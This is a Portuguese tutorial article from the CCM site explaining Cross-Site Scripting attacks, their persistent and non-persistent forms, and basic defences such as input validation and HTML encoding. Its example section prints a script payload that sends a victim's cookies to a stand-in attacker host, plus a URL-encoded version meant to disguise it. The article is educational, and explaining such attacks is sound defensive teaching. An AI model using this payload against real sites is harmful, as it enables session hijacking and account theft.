Ataques Cross-Site Scripting

Abril 2017

Injeção de código malicioso

Os ataques de tipo Cross-Site Scripting (às vezes XSS ou CSS) são ataques que visam os sites web que exibem dinamicamente conteúdo usuário sem controle nem codificação das informações apreendidas pelos eles. Os ataques Cross-Site Scripting consistem, assim, em forçar um site web a exibir o código HTML ou os certificados apreendidos pelos usuários. O código incluído, injetado, em um site vulnerável é chamado de código malicioso.

É muito comum que os sites exibam mensagens de informação que retomam diretamente um parâmetro introduzido pelo usuário. O exemplo mais clássico é o das páginas de erro 404. Certos sites web alteram o comportamento do site web, para exibir uma mensagem de erro personalizada quando a página pedida pelo visitante, na verdade, não existe. Às vezes a página gerada dinamicamente apresenta o nome de página pedida. Vamos chamar, então, de vulnerável um site que apresenta tal falha. A chamada do URL página inexistente que corresponde a uma página que não existe, exibirá uma mensagem de erro que indica que a página é inexistente, que não existe. Assim, é possível exibir o que for no site web, substituindo a página inexistente por qualquer outra cadeia de caracteres. Se nenhum controle for efetuado no conteúdo fornecido pelo usuário, é possível exibir o código HTML arbitrário em uma página web, para alterar o aspecto, o conteúdo ou o comportamento desta página.

Além disso, a maior parte dos navegadores é dotada da capacidade de interpretar certificados contidos nas páginas web, escritos em diferentes linguagens, como JavaScript, VBScript, Java, ActiveX ou Flash. As seguintes tags HTML permitem incorporar certificados realizáveis em uma página web: <SCRIPT>, <OBJECT>, <APPLET>, e <EMBED>.

Desta forma é possível que um pirata envie um código arbitrário na página web, para que seja executado no computador do usuário no contexto de segurança do site vulnerável. Para tanto, basta substituir o valor do texto destinado a ser exibido por um certificado, para que este seja exibido na página web. Se por acaso o navegador do usuário esteja configurado para executar tais certificados, o código malicioso tem acesso ao conjunto dos dados compartilhados pela página web do usuário e o servidor (cookies, campos de formulários, etc.).

Consequências

Graças a vulnerabilidade das sequências de comandos entre páginas Web, um pirata informático pode usar este método para recuperar dados compartilhados entre usuário e a página Web. Por exemplo, o código injetado na página pode ser usado para enganar o usuário e fazer que digite informações de autenticação. Além do mais, a sequência de comandos injetada pode redirecionar o usuário a una página Web controlada pelo pirata informático, provavelmente com a mesma interface gráfica que a página Web comprometida para enganar o usuário.
Neste contexto, a relação de confiança de confiança que existia entre o usuário e a página Web se vê completamente afetada.

Em tal contexto, a relação de confiança que existe entre o usuário e o site web fica completamente comprometida.

Persistência do ataque

Quando os dados introduzidos pelo usuário são armazenados no servidor durante um certo tempo (é o caso de um fórum de discussão, por exemplo), o ataque toma o nome de persistente. Com efeito, todos os usuários do site web acesso à página na qual o código prejudicial foi introduzido.


Os ataques ditos não persistentes referem-se às páginas web dinâmicas nas quais uma variável introduzida pelo utilizador é afixada tal qual (por exemplo, a exibição do nome do utilizador, da página corrente ou a palavra introduzida num campo de formulário). Para poder explorar esta vulnerabilidade, o atacante deve fornecer à vítima uma URL alterada, passando o código a inserir em parâmetro. No entanto, uma URL que contém elementos de código Javascript poderá parecer suspeito à vítima, esta é a razão pela qual este ataque é, na maior parte das vezes, realizada codificando os dados no URL, para esconder o código injetado do usuário.

Exemplo

Suponhamos que a página Inicial do br.ccm.net seja vulnerável a um ataque de tipo Cross-Site Scripting, porque permite que uma mensagem de boas-vindas seja exibida com que o nome do usuário, transformado em parâmetro:


http://br.ccm.net/?nom=Jeff 


Uma pessoa mal-intencionada pode realizar um ataque Cross-Site Scripting não persistente fornecendo a uma vítima um endereço que substitui o nome Jeff por pelo código HTML. Pode principalmente passar para parâmetro o seguinte código Javascript, servindo para reencaminhar o usuário para uma página que ele controla:

<SCRIPT> 
document.location=' http://site.pirate/cgi-bin/script.cgi?'+document.cookie
</SCRIPT>


O código acima recupera os cookies do usuário e transmite-os em parâmetro para um certificado CGI. Tal código transformado em parâmetro seria muito visível:

http://br,ccm.net/?nom= <SCRIPT>document.location 
= ' http://site.pirate/cgi-bin/script.cgi?'+document.cookie </SCRIPT>

Em contrapartida, a codificação do URL permite mascarar o ataque:

http://pt.kioskea.net/?nom=docume%25  
6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%5c%27%68%74%74%70%3a%2f%2f%73%69%74%
65%2e%70%69%72%61%74%65%2f%63%67%69%2d%62%69%6e%2f%73%63%72%69%70%74%2e%
63%67%69%3f%5c%27%20%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%
53%43%52%49%50%54%3e

Ataque cruzado

No exemplo precedente, o conjunto do certificado transformou-se em parâmetro do URL. O método GET, que permite passar parâmetros no URL é limitado a um comprimento total de 255 caracteres para o URL. Graças ao atributo SRC da tag <SCRIPT>, é possível executar o código malicioso armazenado em um certificado sobre um servidor distante! E, já que é possível injetar o código a partir de uma fonte distante, este tipo de ataque assume o nome Cross-Site (literalmente entre sites).

Proteção

No que diz respeito ao usuário, é possível proteger-se contra os ataques CS configurando o navegador de maneira a bloquear a execução das linguagens de certificados. Na realidade, esta solução é frequentemente demasiado vinculativa para o usuário porque numerosos sites recusarão funcionar corretamente na ausência de possibilidade de execução de um código dinâmico.


A única maneira para impedir os ataques do Cross-Site Scripting consiste em criar sites web não vulneráveis. Por isso, o projetista de um site web deve verificar o formato dos dados introduzidos pelos usuários; codificar os dados dos usuários exibidos, substituindo os caracteres especiais pelos seus equivalentes HTML.

Veja também


Cross-Site Scripting attacks
Cross-Site Scripting attacks
Ataques de secuencia de comandos entre páginas Web (XSS)
Ataques de secuencia de comandos entre páginas Web (XSS)
Angriffe Cross-Site Scripting
Angriffe Cross-Site Scripting
XSS - Cross-Site Scripting
XSS - Cross-Site Scripting
XSS - Cross-Site Scripting
XSS - Cross-Site Scripting
Última modificação: 18 de abril de 2017 às 18:15 por ninha25.
Este documento, intitulado 'Ataques Cross-Site Scripting', está disponível sob a licença Creative Commons. Você pode copiar e/ou modificar o conteúdo desta página com base nas condições estipuladas pela licença. Não se esqueça de creditar o CCM (br.ccm.net) ao utilizar este artigo.